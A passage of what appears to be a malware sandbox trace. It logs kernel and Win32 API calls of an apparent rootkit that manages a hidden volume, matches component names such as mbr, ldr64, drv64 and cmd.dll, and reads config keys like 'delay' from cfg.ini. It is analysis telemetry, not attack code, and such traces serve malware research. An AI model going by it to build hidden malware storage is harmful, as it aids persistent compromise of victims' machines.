"\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.040] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.040] KeEnterCriticalRegion () [0119.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.041] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.041] IdePortDispatch () returned 0x103 [0119.041] KeWaitForMutexObject () returned 0x0 [0119.041] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.041] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.041] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.041] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.041] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.041] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.041] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.041] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.041] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.041] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.041] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.041] KeLeaveCriticalRegion () [0119.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.041] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.041] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.041] KeEnterCriticalRegion () [0119.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.042] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.042] IdePortDispatch () returned 0x103 [0119.042] KeWaitForMutexObject () returned 0x0 [0119.042] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.042] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.042] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.042] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.042] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.042] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.042] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.042] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.042] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.042] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.042] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.042] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.042] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.042] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.042] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.042] KeLeaveCriticalRegion () [0119.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.042] ReleaseMutex (hMutex=0x100) returned 1 [0119.042] Sleep (dwMilliseconds=0x2bf20) [0119.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a2915d0, dwHighDateTime=0x1d24fa4)) [0119.051] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.051] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.051] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.051] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.051] KeEnterCriticalRegion () [0119.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.051] IdePortDispatch () returned 0x103 [0119.052] KeWaitForMutexObject () returned 0x0 [0119.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.052] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.052] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.052] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.052] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.052] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d3bb0 [0119.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.052] KeLeaveCriticalRegion () [0119.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.052] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.052] KeEnterCriticalRegion () [0119.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.052] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.052] KeLeaveCriticalRegion () [0119.052] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.052] KeEnterCriticalRegion () [0119.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.052] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.052] IdePortDispatch () returned 0x103 [0119.053] KeWaitForMutexObject () returned 0x0 [0119.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.053] KeLeaveCriticalRegion () [0119.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.053] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.053] KeEnterCriticalRegion () [0119.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5d000 [0119.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.053] IdePortDispatch () returned 0x103 [0119.053] KeWaitForMutexObject () returned 0x0 [0119.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.054] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.054] IdePortDispatch () returned 0x103 [0119.054] KeWaitForMutexObject () returned 0x0 [0119.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.054] KeLeaveCriticalRegion () [0119.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.054] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.055] KeEnterCriticalRegion () [0119.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] KeLeaveCriticalRegion () [0119.055] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.055] KeEnterCriticalRegion () [0119.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.055] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] KeLeaveCriticalRegion () [0119.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.055] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.055] KeEnterCriticalRegion () [0119.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] ExFreePoolWithTag (P=0xfffffa80039d3bb0, Tag=0x0) [0119.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] KeLeaveCriticalRegion () [0119.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.055] ReleaseMutex (hMutex=0xf0) returned 1 [0119.055] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.055] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.055] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.055] KeEnterCriticalRegion () [0119.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.055] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.055] IdePortDispatch () returned 0x103 [0119.056] KeWaitForMutexObject () returned 0x0 [0119.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.056] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.056] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.056] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.056] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.056] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649ab0 [0119.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.056] KeLeaveCriticalRegion () [0119.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.056] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.056] KeEnterCriticalRegion () [0119.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.056] KeLeaveCriticalRegion () [0119.056] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.056] KeEnterCriticalRegion () [0119.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.056] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.056] IdePortDispatch () returned 0x103 [0119.057] KeWaitForMutexObject () returned 0x0 [0119.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.057] KeLeaveCriticalRegion () [0119.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.057] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.057] KeEnterCriticalRegion () [0119.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5e000 [0119.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.057] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.057] IdePortDispatch () returned 0x103 [0119.057] KeWaitForMutexObject () returned 0x0 [0119.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.057] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.057] IdePortDispatch () returned 0x103 [0119.058] KeWaitForMutexObject () returned 0x0 [0119.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.058] KeLeaveCriticalRegion () [0119.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.058] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.058] KeEnterCriticalRegion () [0119.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.059] KeLeaveCriticalRegion () [0119.059] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.059] KeEnterCriticalRegion () [0119.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.059] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.059] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.059] KeLeaveCriticalRegion () [0119.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.059] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.059] KeEnterCriticalRegion () [0119.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.059] ExFreePoolWithTag (P=0xfffffa8003649ab0, Tag=0x0) [0119.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.059] KeLeaveCriticalRegion () [0119.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.059] ReleaseMutex (hMutex=0xf0) returned 1 [0119.059] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.059] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.059] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.059] KeEnterCriticalRegion () [0119.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.059] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.059] IdePortDispatch () returned 0x103 [0119.059] KeWaitForMutexObject () returned 0x0 [0119.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.060] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.060] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.060] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.060] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.060] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf100 [0119.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.060] KeLeaveCriticalRegion () [0119.060] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.060] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.060] KeEnterCriticalRegion () [0119.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.060] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.060] KeLeaveCriticalRegion () [0119.060] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.060] KeEnterCriticalRegion () [0119.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.060] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.060] IdePortDispatch () returned 0x103 [0119.060] KeWaitForMutexObject () returned 0x0 [0119.061] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.061] KeLeaveCriticalRegion () [0119.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.061] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.061] KeEnterCriticalRegion () [0119.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.061] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5f000 [0119.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.061] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.061] IdePortDispatch () returned 0x103 [0119.061] 